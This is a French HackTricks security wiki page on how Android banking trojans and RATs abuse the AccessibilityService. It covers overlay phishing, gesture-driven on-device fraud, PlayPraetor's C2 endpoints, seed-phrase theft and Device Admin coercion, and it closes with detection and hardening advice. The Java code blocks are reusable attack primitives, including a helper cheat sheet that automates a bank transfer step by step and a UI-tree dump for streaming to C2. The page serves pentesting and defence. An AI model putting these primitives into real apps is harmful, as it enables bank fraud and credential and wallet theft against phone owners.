hacktricks/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

12 KiB
Raw Blame History

Abus du service d'accessibilité Android

{{#include ../../banners/hacktricks-training.md}}

Vue d'ensemble

AccessibilityService a été créé pour aider les utilisateurs en situation de handicap à interagir avec les appareils Android. Malheureusement, les mêmes API d'automatisation puissantes (navigation globale, saisie de texte, dispatch de gestes, fenêtres d'overlay…) peuvent être détournées par des malwares pour obtenir un contrôle total à distance du téléphone sans privilèges root.

Les trojans bancaires Android modernes et les Remote-Access-Trojans (RATs) tels que PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda et bien d'autres suivent la même recette :

  1. Amener la victime par ingénierie sociale à activer un service d'accessibilité malveillant (la BIND_ACCESSIBILITY_SERVICE permission est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
  2. Exploiter le service pour
  • capturer chaque événement UI et tout texte affiché à l'écran,
  • injecter des gestes synthétiques (dispatchGesture) et des actions globales (performGlobalAction) pour automatiser toute tâche désirée par l'opérateur,
  • dessiner des overlays plein écran au-dessus d'apps légitimes en utilisant le type de fenêtre TYPE_ACCESSIBILITY_OVERLAY (pas de prompt SYSTEM_ALERT_WINDOW !),
  • accorder silencieusement des permissions runtime supplémentaires en cliquant sur les dialogues système au nom de la victime.
  1. Exfiltrer des données ou réaliser du On-Device-Fraud (ODF) en temps réel pendant que l'utilisateur regarde un écran apparemment normal.

Demander la permission

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Le XML compagnon définit à quoi ressemblera la fausse boîte de dialogue :

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitives d'automatisation de l'interface utilisateur à distance

public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Avec seulement ces deux APIs, un attaquant peut :

  • Déverrouiller l'écran, ouvrir l'application bancaire, parcourir son arbre UI et soumettre un formulaire de virement.
  • Accepter toutes les boîtes de dialogue de permission qui s'affichent.
  • Installer/mettre à jour des APK supplémentaires via l'intent Play Store.

Schémas d'abus

1. Overlay Phishing (Credential Harvesting)

Un WebView transparent ou opaque est ajouté au window manager :

WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

La victime saisit ses identifiants dans le formulaire factice pendant que l'app en arrière-plan reçoit les mêmes gestes aucune invite suspecte "draw over other apps" n'est jamais affichée.

Exemple détaillé : la section Accessibility Overlay Phishing à l'intérieur de la page Tapjacking.

2. Automatisation de la fraude sur l'appareil

Des familles de malware telles que PlayPraetor maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (init, update, alert_arr, report_list, …). Le service traduit ces commandes en gestes bas-niveau décrits ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement la multi-factor-authentication liée à cet appareil.

3. Screen streaming & monitoring

En combinant la MediaProjection API avec une librairie cliente RTMP, le RAT peut diffuser le framebuffer en direct vers rtmp://<c2>:1935/live/<device_id>, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur Accessibility pilote l'UI.


PlayPraetor workflow de command & control

  1. HTTP(S) heartbeat itère sur une liste codée en dur jusqu'à ce qu'un domaine réponde à POST /app/searchPackageName avec le C2 actif.
  2. WebSocket (port 8282) commandes JSON bidirectionnelles :
  • update push de nouvelles conf/APKs
  • alert_arr configurer les templates d'overlay
  • report_list envoyer la liste des noms de packages ciblés
  • heartbeat_web keep-alive
  1. RTMP (port 1935) streaming d'écran/vidéo en direct.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

Le AccessibilityService est le moteur local qui transforme ces commandes cloud en interactions physiques.


Détection des services Accessibility malveillants

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services rechercher des apps qui ne proviennent pas de Google Play.
  • Les solutions MDM / EMM peuvent imposer ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) pour bloquer les services sideloadés.
  • Analyser les services en cours d'exécution :
adb shell dumpsys accessibility | grep "Accessibility Service"

Recommandations de durcissement pour les développeurs d'apps

  • Marquer les vues sensibles avec android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combiner setFilterTouchesWhenObscured(true) avec FLAG_SECURE pour prévenir le détournement de tap/overlay.
  • Détecter les overlays en sondant WindowManager.getDefaultDisplay().getFlags() ou l'API ViewRootImpl.
  • Refuser de fonctionner lorsque Settings.canDrawOverlays() ou un Accessibility service non approuvé est actif.

Aide-mémoire d'automatisation ATS (Accessibility-driven)

Le malware peut automatiser complètement une application bancaire uniquement avec les Accessibility APIs. Primitives génériques :

// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Exemple de flux (tchèque → étiquettes en anglais) :

  • "Nová platba" (Nouveau paiement) → cliquer
  • "Zadat platbu" (Saisir le paiement) → cliquer
  • "Nový příjemce" (Nouveau bénéficiaire) → cliquer
  • "Domácí číslo účtu" (Numéro de compte national) → mettre le focus et ACTION_SET_TEXT
  • "Další" (Suivant) → cliquer → … "Zaplatit" (Payer) → cliquer → saisir le PIN

Fallback : coordonnées codées en dur avec dispatchGesture lorsque la recherche de texte échoue en raison de widgets personnalisés.

Observé aussi : des étapes préalables appelant check_limit et limit en naviguant dans l'interface des limites et en augmentant les limites journalières avant le transfert.

Pseudo-streaming d'écran textuel

Pour le contrôle à distance à faible latence, au lieu d'un streaming vidéo complet, extraire une représentation textuelle de l'arbre UI courant et l'envoyer de façon répétée au C2.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Ceci constitue la base pour des commandes comme txt_screen (one-shot) et screen_live (continuous).

Device Admin coercion primitives

Une fois qu'un Device Admin receiver est activé, ces appels augmentent les opportunités de capturer des credentials et de maintenir le contrôle :

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Note : la disponibilité exacte de ces politiques varie selon la version d'Android et l'OEM ; validez le rôle de la device policy (admin vs owner) pendant les tests.

Crypto wallet seed-phrase extraction patterns

Flux observés pour MetaMask, Trust Wallet, Blockchain.com et Phantom :

  • Déverrouiller avec le PIN volé (capturé via overlay/Accessibility) ou le mot de passe du wallet fourni.
  • Naviguer : Paramètres → Sécurité/Récupération → Révéler/Afficher la phrase de récupération.
  • Récupérer la phrase via keylogging des nœuds de texte, contournement de secure-screen, ou OCR de capture d'écran lorsque le texte est masqué.
  • Prendre en charge plusieurs locales (EN/RU/CZ/SK) pour stabiliser les sélecteurs préférer viewIdResourceName quand disponible, sinon se rabattre sur la correspondance de texte multilingue.

NFC-relay orchestration

Les modules Accessibility/RAT peuvent installer et lancer une app dédiée de NFC-relay (p. ex. NFSkate) comme troisième étape et même injecter un guide en overlay pour accompagner la victime à travers les étapes de relai avec carte présente.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Références

{{#include ../../banners/hacktricks-training.md}}